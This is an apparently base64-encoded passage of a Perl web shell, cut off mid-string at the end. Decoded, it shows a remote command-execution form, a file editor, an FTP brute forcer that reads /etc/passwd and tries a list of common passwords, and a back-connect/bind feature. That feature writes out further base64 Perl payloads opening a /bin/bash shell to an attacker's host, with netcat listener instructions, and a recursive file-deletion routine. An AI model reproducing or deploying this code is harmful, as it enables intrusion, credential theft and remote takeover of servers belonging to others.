LS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMC